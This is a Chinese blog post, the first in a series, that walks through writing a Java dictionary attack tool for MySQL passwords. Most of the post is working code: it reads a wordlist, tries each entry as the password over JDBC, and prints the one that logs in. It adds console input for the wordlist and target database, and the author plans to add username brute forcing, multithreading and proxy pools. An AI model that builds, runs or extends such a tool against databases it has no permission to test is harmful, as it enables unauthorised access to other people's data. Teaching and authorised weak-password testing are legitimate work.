记--一个数据库密码爆破工具的成长历程(1)

写一个数据库密码爆破工具

目前完成:

package jsp;

import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class sql {
    public static void main(String[] args) throws IOException {
        String path = "";
        File file = new File("C://a/password.txt");
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = "jdbc:mysql:///db1";
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密码正确");
                    System.out.println("正确密码是"+s);
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密码错误");
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上面的代码,完成了下面几件事。

  1. 首先,先确定了字典的位置,然后使用循环逐行读取字典的内容。
  2. 利用try--catch来将登陆成功和失败区分
  3. 最后在登录成功之后,使用输出语句,将密码打印出来。

代码思路分析

想要写一个数据库密码爆破工具,首先在代码里面,我们肯定需要进行数据库的连接,也就是下面的这段代码。

Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql:///db1";                    
String username = "root1"
String password = "password";
Connection conn = DriverManager.getConnection(url,username,password);

学过jdbc的看懂这段代码没啥问题,但是要考虑一点,我们的目的是为了写一个数据库密码的爆破工具,利用burp进行弱口令爆破的时候,我们需要进行的操作是将需要变换的值变成变量。java里面显然是无法这么智能,但是也能让我们理清一条思路,就是我们想要完成数据库密码的爆破,首先,我们需要设置一个循环,让这个获取连接的操作不断进行,利用连接成功和失败的不同反馈来判断连接是否成功。

不断进行同一个操作,我们就需要用到循环。

判断连接是否成功,我们就需要用到if判断。当然,因为我们连接数据库是利用了try--catch来进行的,而数据库的连接会报错,所以我们可以利用try--catch来进行判断,而不需要自己写一个循环。

所以,代码就会变成这个样子。

for (int i = 0; i < 1000; i++) {
            try {
                Class.forName("com.mysql.jdbc.Driver");
                String url = "jdbc:mysql:///db1";
                String username = "root1";
                String password = "password";
                Connection conn = DriverManager.getConnection(url,username,password);
                System.out.println("密码正确,登录成功");
            } catch (ClassNotFoundException | SQLException e) {
                System.out.println("密码错误,登录失败");
            }
        }
 }

达到这一步之后,运行代码可以得到的结果是,虽然目前完成了密码的判断和循环操作,但是首先,我们的循环次数不应该定义成一个固定值,因为假设我们登录成功之后,就不需要继续往下继续循环,而且,字典的长度如果达不到循环定义的最大值,也会出现问题。

而在这一步完成之后,还有一点需要考虑的是,我们不能每运行一次代码,就手动的修改一次密码。这跟我们自己测试账号密码的没有任何区别。

所以下一步我们要做的就是,优化循环次数,将密码从文件中导入到代码里面。

 	   String path = "C://a/password.txt";
        File file = new File(path);
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = "jdbc:mysql:///db1";
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密码正确");
                    System.out.println("正确密码是"+s);
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密码错误");
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }

这里,我本来是想利用FileInputStream来完成这一步的,但是我找了一些之前写的文章,发现我并没有办法使用FIleInputStream来完成一个动态读取单行的字符。

所以我在网上找了另外一种方式,经过测试之后发现确实有效,因为这种方法我了解的并不多,只是测试之后发现代码可以使用,所以这里就不多解释。

而目前,所能达到的效果是,通过修改path的值,可以修改每次爆破使用的字典。

循环也可以完成读取到字典的最后一行就截至,不会在字典结束之后依然继续运行。

通过connection对象获取成功和失败的不同表现,也可以在字典中获取到正确的密码。

优化思路

刚才的代码其实也可以发现,想要使用这个工具,必须要有一定的代码功底,这就导致了代码的适用性不是特别强。

比如说字典的位置的定义,数据库位置的定义,用户名不变,单纯的爆破密码。所以,如果这些内容是可以通过用户输入控制的,就能大大增加适用性。

目前想到的优化:

  1. 使用scanner从控制台读取字典位置和数据库位置
  2. 在控制台输出密码使用起来还是不太方便,将正确的密码通过字节流写入到一个文档中。
  3. 密码都写了,不妨吧数据库的地址和账号密码一起写入。
  4. 目前爆破仅限于密码,所以后面可以设计循环嵌套将账户密码一起爆破。
  5. 爆破目前使用的是单线程,所以为了后期的实用性,会加上多线程和代理池。
  6. 代码格式的文件对很多人来说使用还是不够方便,所以图形化界面也是需要进行的。

实施过程

有了优化思路,就要开始实施,因为目前暂时没打算做图形化的页面,所以用户指定字典位置和数据库地址我打算从控制台读取。至于后面改造成图形化之后要怎么使用,另外再说。

  1. 优化第一步,使用scanner从控制台读取字典位置和数据库位置。
package jsp;

import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;

public class sql {
    public static void main(String[] args) throws IOException {
        Scanner sc1 = new Scanner(System.in);
        System.out.println("请输入爆破字典地址(绝对路径)");
        String zdadd = sc1.next();
        Scanner sc2 = new Scanner(System.in);
        System.out.println("请输入数据库地址(jdbc格式)");
        String sqladd = sc2.next();
        String path = zdadd;
        File file = new File(path);
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = sqladd;
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密码正确");
                    System.out.println("正确密码是"+s);
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密码错误");
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在做到这一步优化的时候,我突然想到,jdbc可能也不会每个人都能理解,所以,在格式上,可能会出现问题,并且,之前在学jdbc的时候,有学过吧注册驱动,配置连接这些步骤写入到配置文件中,当需要修改的时候,只需要修改配置文件,读取的数据的时候,则从配置文件中读取。

这个可能在这个地方不太适用,但可能也是后期优化的一个点。

posted @ 2020-12-11 01:13  小明-o3rr0r  阅读(369)  评论(0编辑  收藏  举报